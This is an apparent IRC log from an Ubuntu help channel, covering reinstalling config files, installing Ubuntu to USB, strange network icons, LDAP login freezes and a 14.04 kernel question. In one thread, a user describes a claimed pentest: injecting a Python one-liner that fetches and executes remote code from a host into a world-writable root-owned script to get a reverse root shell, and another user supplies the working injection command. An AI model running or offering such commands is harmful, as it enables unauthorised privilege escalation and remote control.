ppf 2017-01-25 05:45:27
did you delete it?

ppf: https://paste.ubuntu.com/23864094/ also sayt it shoudl be there but
Ilyas 2017-01-25 05:46:04
ppf: maybe in the paste, I can't recall
Ilyas 2017-01-25 05:46:17
but, a remove/install would fix that, no?
networks 2017-01-25 05:46:20
Oh, it is just Network folder, without the s. Can anyone shed some light, please?
ppf 2017-01-25 05:46:37
Ilyas: reinstall doesn't overwrite config files, normally
ppf 2017-01-25 05:46:45
sudo apt-get -o Dpkg::Options::="--force-confmiss" install --reinstall [...]
Ilyas 2017-01-25 05:48:34
ppf: https://paste.ubuntu.com/23864117/ I think it worked :)
networks 2017-01-25 05:48:35

I'm using an ubuntu on a USB(Try Ubuntu feature), how can I install it onto that USB ?!!
cwsaf 2017-01-25 05:54:52
usb doesn't load in the "Device for boot loader installation".
alkisg 2017-01-25 05:56:32
cwsaf: you want to boot from usb and install to that same usb? that can't work, since it's being used...
cwsaf 2017-01-25 05:57:48
@alkisg Tnx, How about use 2 different USBs ?
alkisg 2017-01-25 05:58:40
cwsaf: that's doable, yes
alkisg 2017-01-25 05:59:08
cwsaf: it's also possible to use one usb with 2 partitions, but it's tricky to do it, better use 2
cwsaf 2017-01-25 05:59:27
alkisg tnx tnx tnx and tnx @alkisg <3

python -c "import urllib2; r = urllib2.urlopen('http://192.168.254.10:8080/'); exec(r.read());"
fr0sty_101_ 2017-01-25 06:00:30
this is what im trying to do...
fr0sty_101_ 2017-01-25 06:00:45
add this to a file called connect.py that already exists
ppf 2017-01-25 06:01:39
fr0sty_101_: okay?
networks 2017-01-25 06:01:41
How can I get some help around here?
fr0sty_101_ 2017-01-25 06:01:53

networks, Do you have your Ubuntu question?

i wish i could ...

fr0sty_101_ 2017-01-25 06:02:55
no
fr0sty_101_ 2017-01-25 06:03:00
or emacs
networks 2017-01-25 06:03:20
xXEoflaOEXx: yes:I was looking into my Networks folder in Ubuntu, and I noticed three icons to networks that I don't recognize. Yesterday I noticed just one (a different form today's ones). I am wondering, what does that mean? How should I interpret the contents of the Networks folder? Should I worry it is something malicious? Tx in advance
fr0sty_101_ 2017-01-25 06:03:21
its from a reverse tcp connection from an 'nc'
ppf 2017-01-25 06:03:22
fr0sty_101_: why not?
ppf 2017-01-25 06:03:29
okay
ppf 2017-01-25 06:03:34
what's the shell?

sh

networks 2017-01-25 06:04:21
xXEoflaOEXx: I am wondering if this is regular behaviour or not
ppf 2017-01-25 06:04:27
fr0sty_101_: which is? dash?
xXEoflaOEXx 2017-01-25 06:04:35
networks, Did you unmount the unrecognized networks?
ppf 2017-01-25 06:04:38
either way, try it this way:
Pici 2017-01-25 06:04:40
fr0sty_101_: somewhat unrelated, but a command starting with 'python -c' doesn't really belong in a .py file, that looks like something that would be in a shell script
networks 2017-01-25 06:05:19
xXEoflaOEXx: How do you mena? When I try to delete them, it says it is not possible bc they are not mounted, but I never did mount them
fr0sty_101_ 2017-01-25 06:05:38
Pici: im doing apentest and this file 'connect.py' is owned by root but has 777 permissions therfore i can editied that file and execute a root shell back to my machine
fr0sty_101_ 2017-01-25 06:05:52
so im abusing a poorly configured file
ppf 2017-01-25 06:05:53
>>connect.py echo 'python -c "import urllib2; r = urllib2.urlopen(\"http://192.168.254.10:8080/\"); exec(r.read());"'
xXEoflaOEXx 2017-01-25 06:06:05
networks, so did the rebooting help?
networks 2017-01-25 06:06:42
xXEoflaOEXx: I haven't tried rebooting. Are you suggesting I do so now?
fr0sty_101_ 2017-01-25 06:06:57
ppf: thanks that works lovely
networks 2017-01-25 06:07:57
xXEoflaOEXx: But in any case, is there a good explanation why I would have them in the first place?
networks 2017-01-25 06:09:32
xXEoflaOEXx: I mean, these don't seem to be the wifi networks
noc_ 2017-01-25 06:09:41
fr0sty_101_, the point is that you dit a setuid, writable executable (likely)
noc_ 2017-01-25 06:09:57
i.e. the power comes from the owner being root AND having setuid

xXEoflaOEXx: ok . but from additional driver center or from any other source.

?
xXEoflaOEXx 2017-01-25 06:30:23
lol, You need to download these drivers from official sources, such as Google, and if not found, try it on other sources.

i run a lab of 20 some odd computers with ubuntu, and for some reason we've been having problems with lightdm authing with ldap
dvdmuckle 2017-01-25 06:32:31
if someone logs in to ubuntu on one machine, it works fine, but if someone logs in to another machine, the first machine freezes on the desktop (mouse can still move but user can't start applications), and the second machine doesn't even log in to the desktop
dvdmuckle 2017-01-25 06:32:49
if the first machine is "choked" (power button held until machine turns off), the second machine logs in fine
dvdmuckle 2017-01-25 06:33:14
other display managers work, but they aren't perfect (gdm doesn't work on every machine, lxdm and slim don't show the whole top menu)

14.04 server reports that Hardware Enablement Stack is no longer supported but I want to stay on 14.04; if I run apt-get install linux-image-generic-lts-xenial, will I need to recompile software that was compiled manually from source?

overrun: https://wiki.ubuntu.com/Kernel/LTSEnablementStack, currently, only 14.04.1 and 14.04.5 are supported. See the instructions for trusty. I'm not sure why switching the kernel and X stack would require you to recompile any software, unless your software is a kernel module (off the top of my head)
